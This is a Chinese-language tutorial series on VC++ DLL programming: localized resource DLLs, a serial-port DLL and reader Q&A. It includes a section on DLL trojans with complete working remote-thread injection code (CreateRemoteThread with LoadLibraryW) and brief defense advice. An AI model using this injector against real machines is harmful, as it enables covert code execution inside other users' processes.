#pragma code_page(1252)
#endif //_WIN32
并将其中所有的中文翻譯為英文。這個DLL為我們提供了如圖19所示的對話框資源。
圖19英文對話框
修改應用工程的InitInstance()函數，在
CResourceDllCallDlg dlg;
m_pMainWnd = &dlg;
int nResponse = dlg.DoModal();
之前（即對話框顯示之前）添加如下代碼：
//擷取作業系統的語言
WORD wLangPID = PRIMARYLANGID( GetSystemDefaultLangID() );
if( LANG_CHINESE == wLangPID )
{
hLanguageDll = LoadLibrary( "ChineseDll.dll" ); //加載中文資源
}
else
{
hLanguageDll = LoadLibrary( "EnglishDll.dll" ); //加載英文資源
}
if( NULL == hLanguageDll )
{
AfxMessageBox( "Load DLL failure" );
return FALSE;
}
AfxSetResourceHandle( hLanguageDll ); //設定目前的資源句柄
這樣的應用程式将具有自适應性質，在中文OS中顯示中文資源，在英文OS中則顯示英文資源。
7.3通信控制DLL
我們在這裡舉一個序列槽通信類的例子。
也許您需要了解一點序列槽通信的背景知識，其實序列槽到處都看得到，譬如PC機的COM口即為串行通訊口（簡稱序列槽）。如圖20，打開Windows的裝置管理器，我們看到了COM口。
在Windows系統，需通過DCB(Device Control Block)對序列槽進行配置。利用Windows API GetCommState函數可以擷取序列槽目前配置；利用SetCommState函數則可以設定序列槽通訊的參數。
串行通信通常按以下四步進行：
(1)打開序列槽；
(2)配置序列槽；
(3)資料傳送；
(4)關閉序列槽。
圖20 PC的序列槽
由此可見，我們需要給序列槽控制DLL提供如下四個接口函數：
//打開指定的序列槽，其參數port為端口号
BOOL ComOpen(int port); //在這個函數裡使用預設的參數設定序列槽
//将打開的序列槽關閉
void ComClose(int port);
//将序列槽接收緩沖區中的資料放到buffer中
int GetComData(char *buf, int buf_len);
//将指定長度的資料發送到序列槽
int SendDataToCom(LPBYTE buf,int buf_Len);
下面給出了DLL接口的主要源代碼架構：
//com.h：com類通信接口
class AFX_EXT_CLASS com
{
public:
ComOpen(int port)
{
…
}
int SendDataToCom(LPBYTE buf,int buf_Len)
{
…
}
int GetComData(char *buf, int buf_len)
{
…
}
void ComClose()
{
…
}
}
我們編寫一控制台程式來示範DLL的調用：
#include <iostream>
#include <exception>
using namespace std;
#include <windows.h>
#include "com.h" //包含DLL中導出類的頭檔案
int main(int argc, char *argv[])
{
try
{
char str[] = "com_class test";
com com1;
com1.ComOpen (1);
for(int i=0; i<100; i++) //以同步方式寫com的buffer
{
Sleep(500);
com1.SendDataToCom (str,strlen(str));
}
com1.ComClose ();
}
catch(exception &e)
{
cout << e.what() << endl;
}
return 0;
}
DLL的編寫與調用方法及主要應用皆已講完，在下一節裡，我們将看到比較“高深”的主題――DLL木馬。曾幾何時，DLL木馬成為了病毒的一種十分重要的形式，是DLL的什麼特性使得它能夠成為一種病毒？下一節我們将揭曉謎底。
VC++動态連結庫(DLL)程式設計（六）――DLL木馬
VC++動态連結庫(DLL)程式設計（六）
――DLL木馬
作者：宋寶華 e-mail:[email protected]
從前文可知，DLL在程式編制中可作出巨大貢獻，它提供了具共性代碼的複用能力。但是，正如一門高深的武學，若被掌握在正義之俠的手上，便可助其仗義江湖；但若被掌握在邪惡之徒的手上，則必然在江湖上掀起腥風血雨。DLL正是一種這樣的武學。DLL一旦染上了魔性，就不再是正常的DLL程式，而是DLL木馬，一種惡貫滿盈的病毒，令特洛伊一夜之間國破家亡。
8.1 DLL木馬的原理
DLL木馬的實作原理是程式設計者在DLL中包含木馬程式代碼，随後在目标主機中選擇特定目标程序，以某種方式強行指定該程序調用包含木馬程式的DLL，最終達到侵襲目标系統的目的。
正是DLL程式自身的特點決定了以這種形式加載木馬不僅可行，而且具有良好的隐藏性：
（1）DLL程式被映射到宿主程序的位址空間中，它能夠共享宿主程序的資源，并根據宿主程序在目标主機的級别非法通路相應的系統資源；
（2）DLL程式沒有獨立的程序位址空間，進而可以避免在目标主機中留下“蛛絲馬迹”，達到隐蔽自身的目的。
DLL木馬實作了“真隐藏”，我們在任務管理器中看不到木馬“程序”，它完全溶進了系統的核心。與“真隐藏”對應的是“假隐藏”，“假隐藏”木馬把自己注冊成為一個服務。雖然在任務管理器中也看不到這個程序，但是“假隐藏”木馬本質上還具備獨立的程序空間。“假隐藏”隻适用于Windows9x的系統，對于基于WINNT的作業系統，通過服務管理器，我們可以發現系統中注冊過的服務。
DLL木馬注入其它程序的方法為遠端線程插入。
遠端線程插入技術指的是通過在另一個程序中建立遠端線程的方法進入那個程序的記憶體位址空間。将木馬程式以DLL的形式實作後，需要使用插入到目标程序中的遠端線程将該木馬DLL插入到目标程序的位址空間，即利用該線程通過調用Windows API LoadLibrary函數來加載木馬DLL，進而實作木馬對系統的侵害。
8.2 DLL木馬注入程式
這裡涉及到一個非常重要的Windows API――CreateRemoteThread。與之相比，我們所習慣使用的CreateThread API函數隻能在程序自身内部産生一個新的線程，而且被建立的新線程與主線程共享位址空間和其他資源。而CreateRemoteThread則不同，它可以在另外的程序中産生線程！CreateRemoteThread有如下特點：
（1）CreateRemoteThread較CreateThread多一個參數hProcess，該參數用于指定要建立線程的遠端程序，其函數原型為：
HANDLE CreateRemoteThread(
HANDLE hProcess, //遠端程序句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
（2）線程函數的代碼不能位于我們用來注入DLL木馬的程序所在的位址空間中。也就是說，我們不能想當然地自己寫一個函數，并把這個函數作為遠端線程的入口函數；
（3）不能把本程序的指針作為CreateRemoteThread的參數，因為本程序的記憶體空間與遠端程序的不一樣。
以下程式由作者Shotgun的DLL木馬注入程式簡化而得（在經典書籍《Windows核心程式設計》中我們也可以看到類似的例子），它将d盤根目錄下的troydll.dll插入到ID為4000的程序中：
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void CheckError ( int, int, char *); //出錯處理函數
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId = 4000;
strcpy(lpDllFullPathName, "d:\\troydll.dll");
//将DLL檔案全路徑的ANSI碼轉換成UNICODE碼
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//打開遠端程序
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允許建立線程
PROCESS_VM_OPERATION | //允許VM操作
PROCESS_VM_WRITE, //允許VM寫
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL,
"Remote Process not Exist or Access Denied!");
//計算DLL路徑名需要的記憶體空間
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路徑名複制到遠端程序的記憶體空間
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//計算LoadLibraryW的入口位址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//啟動遠端線程，通過遠端線程調用使用者的DLL檔案
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待遠端線程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清場處理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
}
//錯誤處理函數CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
//清場處理
if (pszLibFileRemote != NULL)
{ VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}
從DLL木馬注入程式的源代碼中我們可以分析出DLL木馬注入的一般步驟為：
（1）取得宿主程序（即要注入木馬的程序）的程序ID dwRemoteProcessId；
（2）取得DLL的完全路徑，并将其轉換為寬字元模式pszLibFileName；
（3）利用Windows API OpenProcess打開宿主程序，應該開啟下列選項：
a.PROCESS_CREATE_THREAD：允許在宿主程序中建立線程；
b.PROCESS_VM_OPERATION：允許對宿主程序中進行VM操作；
c.PROCESS_VM_WRITE：允許對宿主程序進行VM寫。
（4）利用Windows API VirtualAllocEx函數在遠端線程的VM中配置設定DLL完整路徑寬字元所需的存儲空間，并利用Windows API WriteProcessMemory函數将完整路徑寫入該存儲空間；
（5）利用Windows API GetProcAddress取得Kernel32子產品中LoadLibraryW函數的位址，這個函數将作為随後将啟動的遠端線程的入口函數；
（6）利用Windows API CreateRemoteThread啟動遠端線程，将LoadLibraryW的位址作為遠端線程的入口函數位址，将宿主程序裡被配置設定空間中存儲的完整DLL路徑作為線程入口函數的參數以另其啟動指定的DLL；
（7）清理現場。
8.3 DLL木馬的防治
從DLL木馬的原理和一個簡單的DLL木馬程式中我們學到了DLL木馬的工作方式，這可以幫助我們更好地了解DLL木馬病毒的防治手段。
一般的木馬被植入後要打開一網絡端口與攻擊程式通信，是以防火牆是抵禦木馬攻擊的最好方法。防火牆可以進行資料包過濾檢查，我們可以讓防火牆對通訊端口進行限制，隻允許系統接受幾個特定端口的資料請求。這樣，即使木馬植入成功，攻擊者也無法進入到受侵系統，防火牆把攻擊者和木馬分隔開來了。
對于DLL木馬，一種簡單的觀察方法也許可以幫助使用者發現之。我們檢視運作程序所依賴的DLL，如果其中有一些莫名其妙的DLL，則可以斷言這個程序是宿主程序，系統被植入了DLL木馬。“道高一尺，魔高一丈”，現如今，DLL木馬也發展到了更高的境界，它們看起來也不再“莫名其妙”。在最新的一些木馬裡面，開始采用了先進的DLL陷阱技術，程式設計者用特洛伊DLL替換已知的系統DLL。特洛伊DLL對所有的函數調用進行過濾，對于正常的調用，使用函數轉發器直接轉發給被替換的系統DLL；對于一些事先約定好的特殊情況，DLL會執行一些相應的操作。
本文給出的隻是DLL木馬最簡單情況的介紹，讀者若有興趣深入研究，可以參考其它資料。
此後将是本系列文章的最後一次連載，即讀者來信與回報。
VC++動态連結庫(DLL)程式設計（七）――讀者回報與答複
VC++動态連結庫(DLL)程式設計（七）
――讀者回報與答複
作者：宋寶華 e-mail:[email protected]
1.關于文章的擷取
許多讀者發來e-mail詢問本系列文章的相關事宜，如：
（1） 是否已出版？
（2） 哪裡可以下載下傳打包版？
（3） 哪裡可以下載下傳筆者的其它文章？
還有一些讀者對日前筆者在天極網發表的《C語言嵌入式系統程式設計修煉之道》非常喜愛，給予了熱情洋溢的贊揚，詢問筆者能否繼續創作嵌入式程式設計方面的文章。
對于這些問題，統一作答如下：
（1）本系列文章暫時尚未出版；
（2）您可以在天極網或pconline軟體頻道下載下傳筆者的多數拙作。另外，我也将不定期将這些文章上傳到我的部落格（http://blog.donews.com/21cnbao/）。所有文章中的例程源代碼均經過親手調試，驗證無誤；
（3）就嵌入式系統開發，筆者将繼續進行此方面的創作，新近将推出《基于嵌入式實時OS VxWorks的多任務程式設計》及《領悟：從Windows多線程到VxWorks的多任務》。
非常感謝讀者朋友對這些文章的喜愛，在下将竭盡所能地為您提供更多的好文章。
2.關于DLL的疑問
你好，看了你寫的“VC++動态連結庫(DLL)程式設計深入淺出”，特别有收獲。 隻是有個地方我老搞不明白，就是用DLL導出全局變量時，指定了.lib的路徑（#pragma comment(lib,"dllTest.lib")），那麼.dll的檔案的路徑呢，我嘗試着把.dll檔案移到别的地方程式就無法正常運作了，請問.dll在這裡怎麼指定。
希望您能在百忙中抽空給我解答一下，不勝感激！
一位程式設計愛好者
回答：
Windows按下列順序搜尋DLL：
（1）目前程序的可執行子產品所在的目錄；
（2）目前目錄；
（3）Windows 系統目錄，通過GetSystemDirectory 函數可獲得此目錄的路徑；
（4）Windows 目錄，通過GetWindowsDirectory 函數可獲得此目錄的路徑；
（5）PATH 環境變量中列出的目錄。
是以，隐式連結時，DLL檔案的路徑不需要指定也不能指定，系統指定按照1～5的步驟尋找DLL，但是對應的.lib檔案卻需要指定路徑；如果使用Windows API函數LoadLibrary動态加載DLL，則可以指定DLL的路徑。
你好,我是一位C++初學者,我在PCONLINE看了教學之後,受益不淺。我想問一下能否在DLL裡使用多線程?MSDN上用#using <mscorlib.dll>這個指令之後實作了多線程,不過好象不支援DLL..
請問有什麼辦法支援制作多線程DLL??能否給一個源碼來?
回答：
在DLL中可以處理多線程，WIN32對于多線程的支援是作業系統本身提供的一種能力，并不在于使用者編寫的是哪一類程式。即便是一個控制台程式，我們都可以使用多線程：
#include <stdio.h>
#include <windows.h>
void ThreadFun(void)
{
while(1)
{
printf( "this is new thread\n" );
Sleep( 1000 );
}
}
int main()
{
DWORD threadID;
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)ThreadFun,
NULL, 0, &threadID );
while(1)
{
printf( "this is main thread\n" );
Sleep( 1000 );
}
}
觀察程式運作的結果為在控制台視窗上交替輸出this is main thread、this is new thread。
我們來看下面的一個多線程DLL的例子。
DLL程式提供一個接口函數SendInit，在此接口中啟動發送線程SendThreadFunc，在這個線程的對應工作函數中我們使用原始套接字socket發送封包。參考微軟出版的經典書籍《Windows核心程式設計》，我們發現，不宜在DLL被加載的時候（即程序綁定時）啟動一個新的線程。
這個線程等待一個CEvent事件（用于線程間通信），應用程式調用DLL中的接口函數SendMsg( InterDataPkt sendData )可以釋放此事件。下面是相關的源代碼：
（1）發送封包線程入口函數
///
//函數名：SendThreadFunc
//函數功能：發送封包工作線程入口函數，使用UDP協定
DWORD WINAPI SendThreadFunc( LPVOID lpvThreadParm )
//提示：對于線程函數應使用WINAPI聲明，WINAPI被宏定義為__stdcall
{
sendSock = socket ( AF_INET, SOCK_DGRAM, 0 );
if ( sendSock == INVALID_SOCKET )
{
AfxMessageBox ( "Socket建立失敗" );
closesocket ( recvSock );
}
struct sockaddr_in desAddr;
desAddr.sin_family=AF_INET;
desAddr.sin_port=htons( DES_RECV_PORT ); //目标節點接收端口
desAddr.sin_addr.s_addr = inet_addr( DES_IP );
while(1)
{
WaitForSingleObject( hSendEvent, 0xffffffffL );//無限等待事件發生
ResetEvent( hSendEvent );
sendto( sendSock, (char *)sendSockData.data, sendSockData.len,
0, (struct sockaddr*)&desAddr, sizeof(desAddr) );
}
return -1;
}
（2）MFC規則DLL的InitInstance函數
/
// CMultiThreadDllApp initialization
BOOL CMultiThreadDllApp::InitInstance()
{
if ( !AfxSocketInit() ) //初始化socket
{
AfxMessageBox( IDP_SOCKETS_INIT_FAILED );
return FALSE;
}
return TRUE;
}
（3）啟動發送線程
//函數名：SendInit
//函數功能：DLL提供給應用程式調用接口，用于啟動發送線程
/
void SendInit(void)
{
hSendThread = CreateThread( NULL, 1000, SendThreadFunc,
this, 1, &uSendThreadID );
}
（4）SendMsg函數
//函數名：SendMsg
//函數功能：DLL提供給應用程式調用接口，用于發送封包
/
extern "C" void WINAPI SendMsg( InterDataPkt sendData )
{
sendSockData = sendData;
SetEvent( hSendEvent ); //釋放發送事件
}
以上程式僅僅是一個簡單的例子，其實在許多工程應用中，我們經常看到這樣的處理方式。這個DLL對使用者而言僅僅使一個簡單的接口函數SendMsg，對調用它的應用程式屏蔽了多線程的技術細節。與之類似，MFC提供的CSocket類在底層自己采用了多線程機制，是以使我們免去了對多線程的使用。
您好,看了您的DLL文章，發現導出函數可以直接用_declspec(dllexport)聲明或在.def檔案中定義，變量的導出也一樣。我想知道類是否也可以在.def檔案中導出？您的文章中隻講了在類前添加_declspec(dllexport)導出類的方法。請您指教！
回答：
一般我們不采用.def檔案導出類，但是這并不意味着類不能用.def檔案導出類。
使用Depends檢視連載2的“導出類”例程生成的DLL，我們發現其導出了如圖21的衆多“怪”symbol，這些symbol都是經過編譯器處理的。是以，為了以.def檔案導出類，我們必須把這些“怪”symbol全部導出，實在是不劃算啊！是以對于類，我們最好直接以_declspec(dllexport)導出。
圖21 導出類時導出的symbol
您好,看了您的DLL文章，知道怎麼建立DLL了，但是面對一個具體的工程，我還是不知道究竟應該把什麼做成DLL？您能給一些這方面的經驗嗎？
回答：
DLL一般用于軟體子產品中較固定、較通用的可以被複用的子產品，這裡有一個非常好的例子，就是豪傑超級解霸。梁肇新大師把處理視訊和音頻的算法子產品專門做成了兩個DLL，供超級解霸的使用者界面GUI程式調用，實在是DLL設計的模範教程。所謂“萬變不離其宗”，超級解霸的界面再cool，用到的還是那幾個DLL！具體請參考《程式設計高手箴言》一書。
您好,您的DLL文章講的都是Windows的，請問Linux作業系統上可以制作DLL嗎？如果能，和Windows有什麼不一樣？謝謝！
回答：
在Linux作業系統中，也可以采用動态連結技術進行軟體設計，但與Windows下DLL的建立和調用方式有些不同。
Linux作業系統中的共享對象技術（Shared Object）與Windows裡的DLL相對應，但名稱不一樣，其共享對象檔案以.so作為字尾。與Linux共享對象技術相關的一些函數如下：
(1)打開共享對象，函數原型：
//打開名為filename共享對象，并傳回操作句柄；
void *dlopen (const char *filename, int flag);
(2)取函數位址，函數原型:
//獲得接口函數位址
void *dlsym(void *handle, char *symbol);
(3)關閉共享對象，函數原型:
//關閉指定句柄的共享對象
int dlclose (void *handle);
(4)動态庫錯誤函數，函數原型:
//共享對象操作函數執行失敗時，傳回出錯資訊
const char *dlerror(void);
從這裡我們分明看到Windows API――LoadLibrary、FreeLibrary和GetProcAddress的影子！又一個“萬變不離其宗”！